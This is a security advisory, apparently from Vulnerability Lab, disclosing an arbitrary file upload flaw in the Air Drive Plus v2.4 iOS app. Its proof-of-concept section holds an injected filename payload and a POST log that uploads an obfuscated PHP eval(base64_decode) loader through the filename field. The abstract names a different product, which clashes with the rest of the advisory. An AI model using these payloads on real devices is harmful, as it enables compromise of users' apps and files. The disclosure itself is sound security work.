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Document Title:
===============
Air Drive Plus v2.4 iOS - Arbitrary File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1597


Release Date:
=============
2015-09-21


Vulnerability Laboratory ID (VL-ID):
====================================
1597


Common Vulnerability Scoring System:
====================================
8.7


Product & Service Introduction:
===============================
Turn your iPhone, iPod touch, and iPad into a wireless disk. Share your files and photos over network, no USB cable or extra software required.

(Copy of the Vendor Homepage: https://itunes.apple.com/tr/app/air-drive-plus-your-file-manager/id422806570 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an arbitrary file upload web vulnerability in the official Photo Transfer 2 - v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-09-21:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Y.K. YING
Product: Air Drive Plus - iOS Mobile (Web-Application) 2.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An arbitrary file upload web vulnerability has been discovered in the official Air Drive Plus v2.4 iOS web-application.
The arbitrary file upload web vulnerability allows remote attackers to unauthorized include local file/path requests 
or system specific path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `Upload` module. Remote attackers are able to inject own files with 
malicious `filename` values in the `Upload` POST method request to compromise the mobile web-application. The local file/path include 
execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the lfi payload 
by usage of the wifi interface or local file sync function. 

Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious 
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.7. 
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege web-application user account. 
Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8000/)


Proof of Concept (PoC):
=======================
The arbitrary file upload web vulnerability can be exploited by remote attacker without privilege web-application user acocunt or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC Payload(s):
http://localhost:8000/AirDriveAction_file_show/%3C./[ARBITRARY FILE UPLOAD VULNERABILITY VIA FILENAME!]%20src=a%3E2.png


PoC: Source (Upload File)
<tbody id="files"><tr><td colspan="8"><a href="#" onclick="javascript:loadfiles("/AirDriveAction_ROOTLV")">.</a></td></tr><tr><td colspan="8"><a href="#" onclick="javascript:loadfiles("/AirDriveAction_UPPERLV")">..</a></td></tr><tr class=""><td><img src="./images/file.png" height="20px" width="20px"></td><td><a target="_blank" href="/AirDriveAction_file_show/68-2.png">68-2.png</a></td><td>24,27KB</td><td align="center">2015-09-11 13:13:25</td><td align="center"><a onclick="javascript:delfile("68-2.png");" class="transparent_button">Delete</a></td></tr><tr class=""><td><img src="./images/file.png" height="20px" width="20px"></td><td><a target="_blank" href="/AirDriveAction_file_show/%3C./[ARBITRARY FILE UPLOAD VULNERABILITY VIA FILENAME!]">2.png</a></td><td>538,00B</td><td align='center'>2015-09-11 13:17:21</td><td align='center'><a onclick='javascript:delfile("%3C./[ARBITRARY FILE UPLOAD VULNERABILITY VIA FILENAME!]%20src=a%3E2.png");' class='transparent_button'>Delete</a></td></tr></tbody></table></iframe></a></td></tr></tbody>


--- PoC Session Logs [POST] ---
Status: pending[]
POST http://localhost:8000/AirDriveAction_file_add Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost:8000:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8000/index_files.html]
   POST-Daten:
      POST_DATA[-----------------------------52852184124488
Content-Disposition: form-data; name="uploadfile"; filename="<?php
//Obfuscation provided by BKM - PHP Obfuscator v2.47: $kda1640d3bfb="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($kda1640d3bfb(
"JGU3NTJiNzQxMTZhYzYwMjUzMDFiYWNlOGUwZTA2YmNiPSJc ...   ...   ...2MVx4MzhcNjJceDMwXDY3XHgzOFw2M1x4MzlcNjBceDM3XDE0Mlx4MzZcNjdceDM5XDE0NFx4MzVcMTQzXHg2Nlw
xNDZceDY1XDYzXHgzN1wxNDEiKT8kYjdkOTFjZDYwMzJlNDRiNDgzY2Y5MGRhOWM4ZmI1MDAoKTokdTZiZmM2YmN
jZjRiMjk4ZDkyZTQzMzFhMzY3MzllMjAoKTs="));
?>
2.png"
Content-Type: image/png

Status: 200[OK] 
GET http://localhost:8000/a[ARBITRARY FILE UPLOAD VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8000/index_files.html]
 


Reference(s):
http://localhost:8000/index_files.html
http://localhost:8000/AirDriveAction_file_add/
http://1localhost:8000/AirDriveAction_file_show/


Security Risk:
==============
The security risk of the arbitrary file upload web vulnerability in the filename value is estimated as high. (CVSS 8.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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